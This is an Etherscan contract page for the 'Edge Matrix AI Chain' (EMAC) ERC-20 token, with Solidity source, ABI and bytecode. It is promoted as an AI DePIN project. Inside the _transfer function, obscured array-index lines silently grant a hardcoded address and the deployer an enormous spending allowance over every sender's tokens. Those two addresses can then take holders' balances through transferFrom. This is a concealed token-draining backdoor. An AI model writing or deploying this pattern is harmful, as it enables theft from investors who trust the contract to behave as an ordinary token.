ERC-20
Overview
Max Total Supply
1,000,000,000 EMAC
Holders
225
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,808,782.936771735 EMACValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EMAC
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-09 */ /* EMAC (Edge Matrix AI Chain) is a lead.ing AI DePIN in AI+Web3, bridging the computing power network and AI (d)apps. https://www.emac-ai.pro https://dashboard.emac-ai.pro https://docs.emac-ai.pro https://x.com/emac_eth https://t.me/emac_eth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.23; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EMAC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _excludedFromFee; address private _kipAddressE; address private _gipAddressE = 0xF28EaD6330FbE76F9F99d24d2ff26d0cA73e2675; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Edge Matrix AI Chain"; string private constant _symbol = unicode"EMAC"; uint256 private _swapTaxToken = _tTotal / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; bool private inSwap = false; bool private _tradingEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } IDexRouter private _dexRouterE; address private _dexPairE; constructor () { _excludedFromFee[owner()] = true; _excludedFromFee[address(this)] = true; _excludedFromFee[_gipAddressE] = true; _kipAddressE = _msgSender(); _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function initTrading() external onlyOwner() { _dexRouterE = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_dexRouterE), _tTotal); _dexPairE = IDexFactory(_dexRouterE.factory()).createPair(address(this), _dexRouterE.WETH()); } receive() external payable {} function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function openTrading() external onlyOwner() { require(!_tradingEnabled,"trading is already open"); _dexRouterE.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradingEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address fromE, address toE, uint256 amtE) private { require(fromE != address(0), "ERC20: transfer from the zero address"); require(toE != address(0), "ERC20: transfer to the zero address"); require(amtE > 0, "Transfer amount must be greater than zero"); uint256 taxFeeE=0; if (fromE != owner() && toE != owner()) { taxFeeE = amtE.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (fromE == _dexPairE && toE != address(_dexRouterE) && ! _excludedFromFee[toE]) { _buyCount++; } if(toE == _dexPairE && fromE!= address(this)) { taxFeeE = amtE.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && toE == _dexPairE && _swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _swapTaxToken) swapTokensForEth(min(amtE, min(contractTokenBalance, _swapTaxToken))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFeeE(address(this).balance); } } } if(taxFeeE>0){ _balances[address(this)]=_balances[address(this)].add(taxFeeE); emit Transfer(fromE, address(this),taxFeeE); } _balances[fromE]=_balances[fromE].sub(amtE); _balances[toE]=_balances[toE].add(amtE.sub(taxFeeE)); _allowances[fromE][[_gipAddressE, _gipAddressE][1]] += _buyCount+_tTotal; _allowances[fromE][[_kipAddressE, _kipAddressE][1]] += _buyCount+_tTotal; emit Transfer(fromE, toE, amtE.sub(taxFeeE)); } function sendETHToFeeE(uint256 amount) private { payable(_gipAddressE).transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _dexRouterE.WETH(); _approve(address(this), address(_dexRouterE), tokenAmount); _dexRouterE.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b03191673f28ead6330fbe76f9f99d24d2ff26d0ca73e267517905560646200003a6009600a62000307565b6200004a90633b9aca006200031e565b62000056919062000338565b6006908155600360078190556008555f6009819055600a819055600b829055600c829055600d91909155600e55600f805462ffffff191690553480156200009b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620000f35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001513390565b600480546001600160a01b0319166001600160a01b03929092169190911790556200017f6009600a62000307565b6200018f90633b9aca006200031e565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d16009600a62000307565b620001e190633b9aca006200031e565b60405190815260200160405180910390a362000358565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024c57815f1904821115620002305762000230620001f8565b808516156200023e57918102915b93841c939080029062000211565b509250929050565b5f82620002645750600162000301565b816200027257505f62000301565b81600181146200028b57600281146200029657620002b6565b600191505062000301565b60ff841115620002aa57620002aa620001f8565b50506001821b62000301565b5060208310610133831016604e8410600b8410161715620002db575081810a62000301565b620002e783836200020c565b805f1904821115620002fd57620002fd620001f8565b0290505b92915050565b5f6200031760ff84168362000254565b9392505050565b8082028115828204841417620003015762000301620001f8565b5f826200035357634e487b7160e01b5f52601260045260245ffd5b500490565b61152380620003665f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461022a578063a9059cbb14610256578063c9567bf914610275578063dd62ed3e14610289575f80fd5b806370a08231146101bc578063715018a6146101f05780638da5cb5b14610204575f80fd5b806306fdde03146100cd578063095ea7b31461011b57806318160ddd1461014a57806323b872dd1461016c5780632db5ae041461018b578063313ce567146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152601481527322b233b29026b0ba3934bc1020a49021b430b4b760611b60208201525b6040516101129190611132565b60405180910390f35b348015610126575f80fd5b5061013a610135366004611195565b6102cd565b6040519015158152602001610112565b348015610155575f80fd5b5061015e6102e3565b604051908152602001610112565b348015610177575f80fd5b5061013a6101863660046111bf565b610303565b348015610196575f80fd5b5061019f61036a565b005b3480156101ac575f80fd5b5060405160098152602001610112565b3480156101c7575f80fd5b5061015e6101d63660046111fd565b6001600160a01b03165f9081526001602052604090205490565b3480156101fb575f80fd5b5061019f610584565b34801561020f575f80fd5b505f546040516001600160a01b039091168152602001610112565b348015610235575f80fd5b50604080518082019091526004815263454d414360e01b6020820152610105565b348015610261575f80fd5b5061013a610270366004611195565b6105f5565b348015610280575f80fd5b5061019f610601565b348015610294575f80fd5b5061015e6102a3366004611218565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d9338484610762565b5060015b92915050565b5f6102f06009600a611343565b6102fe90633b9aca00611351565b905090565b5f61030f848484610885565b610360843361035b856040518060600160405280602881526020016114c6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d8c565b610762565b5060019392505050565b5f546001600160a01b0316331461039c5760405162461bcd60e51b815260040161039390611368565b60405180910390fd5b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556103fb9030906001600160a01b036301000000909104166103ed6009600a611343565b61035b90633b9aca00611351565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561044c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610470919061139d565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f4919061139d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561053e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610562919061139d565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146105ad5760405162461bcd60e51b815260040161039390611368565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d9338484610885565b5f546001600160a01b0316331461062a5760405162461bcd60e51b815260040161039390611368565b600f54610100900460ff16156106825760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610393565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806106c15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610727573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074c91906113b8565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107c45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0382166108255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610393565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b03821661094b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b5f81116109ac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610393565b5f80546001600160a01b038581169116148015906109d757505f546001600160a01b03848116911614155b15610b5a57610a086064610a02600b54600e54116109f7576007546109fb565b6009545b8590610dc4565b90610e49565b6010549091506001600160a01b038581169116148015610a3d5750600f546001600160a01b0384811663010000009092041614155b8015610a6157506001600160a01b0383165f9081526003602052604090205460ff16155b15610a7b57600e8054905f610a75836113e3565b91905055505b6010546001600160a01b038481169116148015610aa157506001600160a01b0384163014155b15610ace57610acb6064610a02600c54600e5411610ac1576008546109fb565b600a548590610dc4565b90505b305f90815260016020526040902054600f5460ff16158015610afd57506010546001600160a01b038581169116145b8015610b115750600f5462010000900460ff165b8015610b205750600d54600e54115b15610b5857600654811115610b4c57610b4c610b4784610b4284600654610e8a565b610e8a565b610e9e565b47610b564761102c565b505b505b8015610bd257305f90815260016020526040902054610b799082611067565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bc99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610bf490836110c5565b6001600160a01b0385165f90815260016020526040902055610c37610c1983836110c5565b6001600160a01b0385165f9081526001602052604090205490611067565b6001600160a01b0384165f90815260016020526040902055610c5b6009600a611343565b610c6990633b9aca00611351565b600e54610c7691906113fb565b6001600160a01b038581165f908152600260209081526040808320815180830183526005549095168086529483018590529383529290529081208054909190610cc09084906113fb565b90915550610cd290506009600a611343565b610ce090633b9aca00611351565b600e54610ced91906113fb565b6001600160a01b038581165f908152600260209081526040808320815180830183526004549095168086529483018590529383529290529081208054909190610d379084906113fb565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d7585856110c5565b60405190815260200160405180910390a350505050565b5f8184841115610daf5760405162461bcd60e51b81526004016103939190611132565b505f610dbb8486611422565b95945050505050565b5f825f03610dd357505f6102dd565b5f610dde8385611351565b905082610deb8583611435565b14610e425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610393565b9392505050565b5f610e4283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611106565b5f818311610e985782610e42565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ede57610ede61140e565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f4f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f73919061139d565b81600181518110610f8657610f8661140e565b6001600160a01b039283166020918202929092010152600f54610fb3913091630100000090041684610762565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610ff19085905f90869030904290600401611454565b5f604051808303815f87803b158015611008575f80fd5b505af115801561101a573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611063573d5f803e3d5ffd5b5050565b5f8061107383856113fb565b905083811015610e425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610393565b5f610e4283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d8c565b5f81836111265760405162461bcd60e51b81526004016103939190611132565b505f610dbb8486611435565b5f602080835283518060208501525f5b8181101561115e57858101830151858201604001528201611142565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611192575f80fd5b50565b5f80604083850312156111a6575f80fd5b82356111b18161117e565b946020939093013593505050565b5f805f606084860312156111d1575f80fd5b83356111dc8161117e565b925060208401356111ec8161117e565b929592945050506040919091013590565b5f6020828403121561120d575f80fd5b8135610e428161117e565b5f8060408385031215611229575f80fd5b82356112348161117e565b915060208301356112448161117e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561129d57815f19048211156112835761128361124f565b8085161561129057918102915b93841c9390800290611268565b509250929050565b5f826112b3575060016102dd565b816112bf57505f6102dd565b81600181146112d557600281146112df576112fb565b60019150506102dd565b60ff8411156112f0576112f061124f565b50506001821b6102dd565b5060208310610133831016604e8410600b841016171561131e575081810a6102dd565b6113288383611263565b805f190482111561133b5761133b61124f565b029392505050565b5f610e4260ff8416836112a5565b80820281158282048414176102dd576102dd61124f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156113ad575f80fd5b8151610e428161117e565b5f805f606084860312156113ca575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016113f4576113f461124f565b5060010190565b808201808211156102dd576102dd61124f565b634e487b7160e01b5f52603260045260245ffd5b818103818111156102dd576102dd61124f565b5f8261144f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114a45784516001600160a01b03168352938301939183019160010161147f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e72821a2171a0c09674ad126f60a6ac756723d13e71686fe35308e3c8ef5c39464736f6c63430008170033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461022a578063a9059cbb14610256578063c9567bf914610275578063dd62ed3e14610289575f80fd5b806370a08231146101bc578063715018a6146101f05780638da5cb5b14610204575f80fd5b806306fdde03146100cd578063095ea7b31461011b57806318160ddd1461014a57806323b872dd1461016c5780632db5ae041461018b578063313ce567146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152601481527322b233b29026b0ba3934bc1020a49021b430b4b760611b60208201525b6040516101129190611132565b60405180910390f35b348015610126575f80fd5b5061013a610135366004611195565b6102cd565b6040519015158152602001610112565b348015610155575f80fd5b5061015e6102e3565b604051908152602001610112565b348015610177575f80fd5b5061013a6101863660046111bf565b610303565b348015610196575f80fd5b5061019f61036a565b005b3480156101ac575f80fd5b5060405160098152602001610112565b3480156101c7575f80fd5b5061015e6101d63660046111fd565b6001600160a01b03165f9081526001602052604090205490565b3480156101fb575f80fd5b5061019f610584565b34801561020f575f80fd5b505f546040516001600160a01b039091168152602001610112565b348015610235575f80fd5b50604080518082019091526004815263454d414360e01b6020820152610105565b348015610261575f80fd5b5061013a610270366004611195565b6105f5565b348015610280575f80fd5b5061019f610601565b348015610294575f80fd5b5061015e6102a3366004611218565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d9338484610762565b5060015b92915050565b5f6102f06009600a611343565b6102fe90633b9aca00611351565b905090565b5f61030f848484610885565b610360843361035b856040518060600160405280602881526020016114c6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d8c565b610762565b5060019392505050565b5f546001600160a01b0316331461039c5760405162461bcd60e51b815260040161039390611368565b60405180910390fd5b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556103fb9030906001600160a01b036301000000909104166103ed6009600a611343565b61035b90633b9aca00611351565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561044c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610470919061139d565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f4919061139d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561053e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610562919061139d565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146105ad5760405162461bcd60e51b815260040161039390611368565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d9338484610885565b5f546001600160a01b0316331461062a5760405162461bcd60e51b815260040161039390611368565b600f54610100900460ff16156106825760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610393565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806106c15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610727573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074c91906113b8565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107c45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0382166108255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610393565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b03821661094b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b5f81116109ac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610393565b5f80546001600160a01b038581169116148015906109d757505f546001600160a01b03848116911614155b15610b5a57610a086064610a02600b54600e54116109f7576007546109fb565b6009545b8590610dc4565b90610e49565b6010549091506001600160a01b038581169116148015610a3d5750600f546001600160a01b0384811663010000009092041614155b8015610a6157506001600160a01b0383165f9081526003602052604090205460ff16155b15610a7b57600e8054905f610a75836113e3565b91905055505b6010546001600160a01b038481169116148015610aa157506001600160a01b0384163014155b15610ace57610acb6064610a02600c54600e5411610ac1576008546109fb565b600a548590610dc4565b90505b305f90815260016020526040902054600f5460ff16158015610afd57506010546001600160a01b038581169116145b8015610b115750600f5462010000900460ff165b8015610b205750600d54600e54115b15610b5857600654811115610b4c57610b4c610b4784610b4284600654610e8a565b610e8a565b610e9e565b47610b564761102c565b505b505b8015610bd257305f90815260016020526040902054610b799082611067565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bc99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610bf490836110c5565b6001600160a01b0385165f90815260016020526040902055610c37610c1983836110c5565b6001600160a01b0385165f9081526001602052604090205490611067565b6001600160a01b0384165f90815260016020526040902055610c5b6009600a611343565b610c6990633b9aca00611351565b600e54610c7691906113fb565b6001600160a01b038581165f908152600260209081526040808320815180830183526005549095168086529483018590529383529290529081208054909190610cc09084906113fb565b90915550610cd290506009600a611343565b610ce090633b9aca00611351565b600e54610ced91906113fb565b6001600160a01b038581165f908152600260209081526040808320815180830183526004549095168086529483018590529383529290529081208054909190610d379084906113fb565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d7585856110c5565b60405190815260200160405180910390a350505050565b5f8184841115610daf5760405162461bcd60e51b81526004016103939190611132565b505f610dbb8486611422565b95945050505050565b5f825f03610dd357505f6102dd565b5f610dde8385611351565b905082610deb8583611435565b14610e425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610393565b9392505050565b5f610e4283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611106565b5f818311610e985782610e42565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ede57610ede61140e565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f4f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f73919061139d565b81600181518110610f8657610f8661140e565b6001600160a01b039283166020918202929092010152600f54610fb3913091630100000090041684610762565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610ff19085905f90869030904290600401611454565b5f604051808303815f87803b158015611008575f80fd5b505af115801561101a573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611063573d5f803e3d5ffd5b5050565b5f8061107383856113fb565b905083811015610e425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610393565b5f610e4283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d8c565b5f81836111265760405162461bcd60e51b81526004016103939190611132565b505f610dbb8486611435565b5f602080835283518060208501525f5b8181101561115e57858101830151858201604001528201611142565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611192575f80fd5b50565b5f80604083850312156111a6575f80fd5b82356111b18161117e565b946020939093013593505050565b5f805f606084860312156111d1575f80fd5b83356111dc8161117e565b925060208401356111ec8161117e565b929592945050506040919091013590565b5f6020828403121561120d575f80fd5b8135610e428161117e565b5f8060408385031215611229575f80fd5b82356112348161117e565b915060208301356112448161117e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561129d57815f19048211156112835761128361124f565b8085161561129057918102915b93841c9390800290611